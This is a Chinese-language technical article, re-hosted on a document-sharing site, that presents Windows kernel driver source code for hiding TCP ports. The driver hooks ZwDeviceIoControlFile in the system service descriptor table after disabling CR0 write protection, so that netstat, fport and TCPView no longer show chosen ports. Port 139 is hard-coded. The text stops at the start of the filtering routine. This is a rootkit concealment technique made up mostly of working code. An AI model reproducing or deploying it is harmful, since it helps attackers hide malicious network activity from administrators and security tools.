Hook 系统服务隐藏端口.docx
- 文档编号:3185714
- 上传时间:2023-05-05
- 格式:DOCX
- 页数:16
- 大小:18.13KB
Hook 系统服务隐藏端口.docx
《Hook 系统服务隐藏端口.docx》由会员分享,可在线阅读,更多相关《Hook 系统服务隐藏端口.docx(16页珍藏版)》请在冰点文库上搜索。
Hook系统服务隐藏端口
Hook系统服务隐藏端口
Hook系统服务隐藏端口
创建时间:
2004-04-07更新时间:
2004-04-11
文章属性:
原创
文章提交:
jiurl(jiurl_at_
Hook系统服务隐藏端口
作者:
JIURL
主页:
日期:
2004-03-30
有时候写程序,调试程序真是一件非常有趣的事,就比如这次,蹦蹦跳跳,笑嘻嘻,意犹未尽的就把这个程序搞好了。
netstat或者其他各种列举端口的工具,比如fport,或者sysinternals的Tcpview,都是调用
Iphlpapi.dll中的API来完成端口的列举。
而Iphlpapi.dll中的API最终是使用
ZwDeviceIoControlFile,向设备对象Device\Tcp发IOCTL_TCP_QUERY_INFORMATION_EX
来得到各种信息的。
于是我们只要Hook相应的SystemService
,然后对得到的结果做一些处理,弄掉不希望出现的端口信息就可以了。
不过真正的问题在于,IOCTL_TCP_QUERY_INFORMATION_EX
和端口相关的各种结构定义,参数含义目前都(大部分)是未公开,没人知道的,也就是Undocumented的。
Undocumented?
?
ring3调试,我熟啊。
ring0调试,我熟啊。
Windows驱动,我熟啊。
Windows系统,我熟啊。
我怕谁啊我。
Undocumented?
?
爽,要的就是Undocumented。
通过ring3调试,分析Iphlpapi.dll是如何使用IOCTL_TCP_QUERY_INFORMATION_EX
相关的各种参数,结合msdn中的一些信息,于是很轻松的搞清了需要了解的结构。
用我自己写的awx建一个VC的驱动项目,写好了Hook部分。
关于本例中使用的解决Hook在各种Windows版本下运行的方法,在很多地方很多地方都出现了,我不清楚最早是谁想出来的,我是在《Undocumented
WindowsNT》一书的源码中第一次看到这种方法的。
下面是实现源码,很简单,我就不多说什么了。
#if0//================================================================
Copyright(c)JIURL,AllRightsReserved
========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
ModuleName:
Jiurl_tcpioctl.h
About:
-这个驱动项目由一个我写的AppWizard创建。
[HomePage]
~~~~~~~~~~~~~~~~~~~~~
[Email]jiurl@
~~~~~~~~~~~~~~~~~~~~
[Forum].cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-有偿定制AppWizard,请发邮件联系。
Comments:
本文件中的所有内容目前都是未公开的,由我分析得出,是隐藏端口的关键内容。
Undocumented?
?
爽!
要的就是Undocumented。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif
//jiurl//IPSNMPInfo结构的定义是根据RFC2011
//jiurl//所以我根据RFC2022,仿IPSNMPInfo,定义结构TCPSNMPInfo
//jiurl//再通过一些分析得到一些扩展部分的定义
typedefstructTCPSNMPInfo{
ULONGtcpsi_RtoAlgorithm;
ULONGtcpsi_RtoMin;
ULONGtcpsi_RtoMax;
ULONGtcpsi_MaxConn;
ULONGtcpsi_ActiveOpens;
ULONGtcpsi_PassiveOpens;
ULONGtcpsi_AttemptFails;
ULONGtcpsi_EstabResets;
ULONGtcpsi_CurrEstab;
ULONGtcpsi_InSegs;
ULONGtcpsi_OutSegs;
ULONGtcpsi_RetransSegs;
ULONGtcpsi_unknown1;
ULONGtcpsi_unknown2;
ULONGtcpsi_numconn;
}TCPSNMPInfo;
#definetcpRtoAlgorithm_other1//noneofthefollowing
#definetcpRtoAlgorithm_constant2//aconstantrto
#definetcpRtoAlgorithm_rsre3//MIL-STD-1778,AppendixB
#definetcpRtoAlgorithm_vanj4//VanJacobson'salgorithm
#defineTCP_MIB_STATS_ID1
#defineTCP_MIB_ADDRTABLE_ENTRY_ID0x101
#defineTCP_MIB_ADDRTABLE_ENTRY_EX_ID0x102
typedefstructTCPAddrEntry{
ULONGtae_ConnState;
ULONGtae_ConnLocalAddress;
ULONGtae_ConnLocalPort;
ULONGtae_ConnRemAddress;
ULONGtae_ConnRemPort;
}TCPAddrEntry;
#definetcpConnState_closed1
#definetcpConnState_listen2
#definetcpConnState_synSent3
#definetcpConnState_synReceived4
#definetcpConnState_established5
#definetcpConnState_finWait16
#definetcpConnState_finWait27
#definetcpConnState_closeWait8
#definetcpConnState_lastAck9
#definetcpConnState_closing10
#definetcpConnState_timeWait11
#definetcpConnState_deleteTCB12
typedefstructTCPAddrExEntry{
ULONGtae_ConnState;
ULONGtae_ConnLocalAddress;
ULONGtae_ConnLocalPort;
ULONGtae_ConnRemAddress;
ULONGtae_ConnRemPort;
ULONGpid;
}TCPAddrExEntry;
#if0//================================================================
Copyright(c)JIURL,AllRightsReserved
========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
ModuleName:
JiurlPortHide.h
About:
-这个驱动项目由一个我写的AppWizard创建。
[HomePage]
~~~~~~~~~~~~~~~~~~~~~
[Email]jiurl@
~~~~~~~~~~~~~~~~~~~~
[Forum].cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-有偿定制AppWizard,请发邮件联系。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif
#definePORTHIDE139
#pragmapack
(1)
typedefstructServiceDescriptorEntry{
unsignedint*ServiceTableBase;
unsignedint*ServiceCounterTableBase;//Usedonlyincheckedbuild
unsignedintNumberOfServices;
unsignedchar*ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragmapack()
__declspec(dllimport)ServiceDescriptorTableEntry_t
KeServiceDescriptorTable;
NTSYSAPI
NTSTATUS
NTAPI
ZwDeviceIoControlFile(
INHANDLEFileHandle,
INHANDLEEventOPTIONAL,
INPIO_APC_ROUTINEApcRoutineOPTIONAL,
INPVOIDApcContextOPTIONAL,
OUTPIO_STATUS_BLOCKIoStatusBlock,
INULONGIoControlCode,
INPVOIDInputBufferOPTIONAL,
INULONGInputBufferLength,
OUTPVOIDOutputBufferOPTIONAL,
INULONGOutputBufferLength
);
typedefNTSTATUS(*ZWDEVICEIOCONTROLFILE)(
INHANDLEFileHandle,
INHANDLEEventOPTIONAL,
INPIO_APC_ROUTINEApcRoutineOPTIONAL,
INPVOIDApcContextOPTIONAL,
OUTPIO_STATUS_BLOCKIoStatusBlock,
INULONGIoControlCode,
INPVOIDInputBufferOPTIONAL,
INULONGInputBufferLength,
OUTPVOIDOutputBufferOPTIONAL,
INULONGOutputBufferLength
);
ZWDEVICEIOCONTROLFILEOldZwDeviceIoControlFile;
voidDriverUnload(INPDRIVER_OBJECTDriverObject);
NTSTATUS
DriverDispatch(INPDEVICE_OBJECTDeviceObject,INPIRPIrp);
NTSTATUSNewZwDeviceIoControlFile(
INHANDLEFileHandle,
INHANDLEEventOPTIONAL,
INPIO_APC_ROUTINEApcRoutineOPTIONAL,
INPVOIDApcContextOPTIONAL,
OUTPIO_STATUS_BLOCKIoStatusBlock,
INULONGIoControlCode,
INPVOIDInputBufferOPTIONAL,
INULONGInputBufferLength,
OUTPVOIDOutputBufferOPTIONAL,
INULONGOutputBufferLength
);
//jiurl//fromaddrconv.cpp
#definentohs(s)\
((((s)>>8)&0x00FF)|\
(((s)<<8)&0xFF00))
//jiurl//fromtcpioctl.htdiinfo.htdistat.h
#defineIOCTL_TCP_QUERY_INFORMATION_EX0x00120003
//*StructureofanentityID.
typedefstructTDIEntityID{
ULONGtei_entity;
ULONGtei_instance;
}TDIEntityID;
//*StructureofanobjectID.
typedefstructTDIObjectID{
TDIEntityIDtoi_entity;
ULONGtoi_class;
ULONGtoi_type;
ULONGtoi_id;
}TDIObjectID;
#defineCONTEXT_SIZE16
//
//QueryInformationExIOCTL.Thereturnbufferispassedasthe
OutputBuffer
//intheDeviceIoControlrequest.Thisstructureispassedasthe
//InputBuffer.
//
structtcp_request_query_information_ex{
TDIObjectIDID;//objectIDtoquery.
ULONG_PTRContext[CONTEXT_SIZE/sizeof(ULONG_PTR)];//multi-request
context.Zeroed
//forthefirstrequest.
};
typedefstructtcp_request_query_information_ex
TCP_REQUEST_QUERY_INFORMATION_EX,
*PTCP_REQUEST_QUERY_INFORMATION_EX;
#defineCO_TL_ENTITY0x400
#defineINFO_CLASS_PROTOCOL0x200
#defineINFO_TYPE_PROVIDER0x100
#if0//================================================================
Copyright(c)JIURL,AllRightsReserved
========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
ModuleName:
JiurlPortHide.cpp
About:
-这个驱动项目由一个我写的AppWizard创建。
[HomePage]
~~~~~~~~~~~~~~~~~~~~~
[Email]jiurl@
~~~~~~~~~~~~~~~~~~~~
[Forum].cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-有偿定制AppWizard,请发邮件联系。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif
#ifdef__cplusplus
extern"C"
{
#endif
#include
#include"JiurlPortHide.h"
#include"Jiurl_tcpioctl.h"
#ifdef__cplusplus
}
#endif
NTSTATUS
DriverEntry(INPDRIVER_OBJECTDriverObject,
INPUNICODE_STRINGRegistryPath)
{
DbgPrint("JiurlPortHide:
Hello,ThisisDriverEntry!
\n");
DriverObject->MajorFunction[IRP_MJ_CREATE]=
DriverObject->MajorFunction[IRP_MJ_CLOSE]=DriverDispatch;
DriverObject->DriverUnload=DriverUnload;
//saveoldsystemcalllocations
OldZwDeviceIoControlFile=
(ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[
*(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]);
_asm
{
CLI//dissableinterrupt
MOVEAX,CR0//moveCR0registerintoEAX
ANDEAX,NOT10000H//disableWPbit
MOVCR0,EAX//writeregisterback
}
(KeServiceDescriptorTable.ServiceTableBase[
*(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)])=
(ULONG)NewZwDeviceIoControlFile;
_asm
{
MOVEAX,CR0//moveCR0registerintoEAX
OREAX,10000H//enableWPbit
MOVCR0,EAX//writeregisterback
STI//enableinterrupt
}
returnSTATUS_SUCCESS;
}
NTSTATUS
DriverDispatch(
INPDEVICE_OBJECTDeviceObject,
INPIRPIrp
)
{
Irp->IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
returnIrp->IoStatus.Status;
}
voidDriverUnload(INPDRIVER_OBJECTDriverObject)
{
DbgPrint("JiurlPortHide:
Bye,ThisisDriverUnload!
\n");
_asm
{
CLI//dissableinterrupt
MOVEAX,CR0//moveCR0registerintoEAX
ANDEAX,NOT10000H//disableWPbit
MOVCR0,EAX//writeregisterback
}
(KeServiceDescriptorTable.ServiceTableBase[
*(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)])=
(ULONG)OldZwDeviceIoControlFile;
_asm
{
MOVEAX,CR0//moveCR0registerintoEAX
OREAX,10000H//enableWPbit
MOVCR0,EAX//writeregisterback
STI//enableinterrupt
}
}
NTSTATUSNewZwDeviceIoControlFile(
INHANDLEFileHandle,
INHANDLEEventOPTIONAL,
INPIO_APC_ROUTINEApcRoutineOPTIONAL,
INPVOIDApcContextOPTIONAL,
OUTPIO_STATUS_BLOCKIoStatusBlock,
INULONGIoControlCode,
INPVOIDInputBufferOPTIONAL,
INULONGInputBufferLength,
OUTPVOIDOutputBufferOPTIONAL,
INULONGOutputBufferLength
)
{
NTSTATUSrc;
rc=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength
);
if(IoControlCode!
=IOCTL_TCP_QUERY_INFORMATION_EX)
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Hook 系统服务隐藏端口 系统 服务 隐藏 端口